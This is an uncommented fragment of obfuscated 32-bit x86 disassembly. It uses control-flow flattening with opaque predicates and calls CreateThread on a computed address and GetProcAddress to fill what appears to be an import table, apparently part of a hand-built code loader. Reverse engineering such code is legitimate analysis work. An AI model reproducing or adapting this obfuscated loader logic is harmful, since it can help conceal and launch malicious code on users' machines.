imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26a9910b
mov ecx, 0xa1ccacaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x28]
add eax, 0x20d56888
add eax, ecx
sub eax, 0x20d56888
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov al, byte [eax]
mov byte [ebp - 0x11], al
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x26a9910b
mov ecx, 0x98e42e5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0xfdd42ada
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xd3bd7705
sub edx, 1
sub edx, 0xd3bd7705
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe482a9eb
mov ecx, 0x1ddd6b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0xd34fbf01
jmp 0x413bbf
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1ac], 0xd5986049
jmp 0x413bbf
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1ac], 0xf290a84
jmp 0x413bbf
mov eax, dword [ebp - 0x80]
movzx eax, ax
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1ac], 0x62304bc6
jmp 0x413bbf
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
imul ecx, ecx, 0x14
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub eax, 0x868e823b
add eax, ecx
add eax, 0x868e823b
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
shl ecx, 2
add eax, 0x6d7ed4c1
add eax, ecx
sub eax, 0x6d7ed4c1
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov dword [ebp - 0x1ac], 0xb40cecd9
jmp 0x413bbf
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov dword [ebp - 0x1ac], 0x1234fbcd
jmp 0x413bbf
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1ac], 0x93c4e312
jmp 0x413bbf
mov eax, dword [ebp - 0x130]
mov dword [eax], 4
mov dword [ebp - 0x1ac], 0xd16a7952
jmp 0x413bbf
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], 0xacf2407d
jmp 0x413bbf
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1ac], 0xc2a938b4
jmp 0x413bbf
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1ac], 0xff74dbe9
jmp 0x413bbf
jmp 0x40f167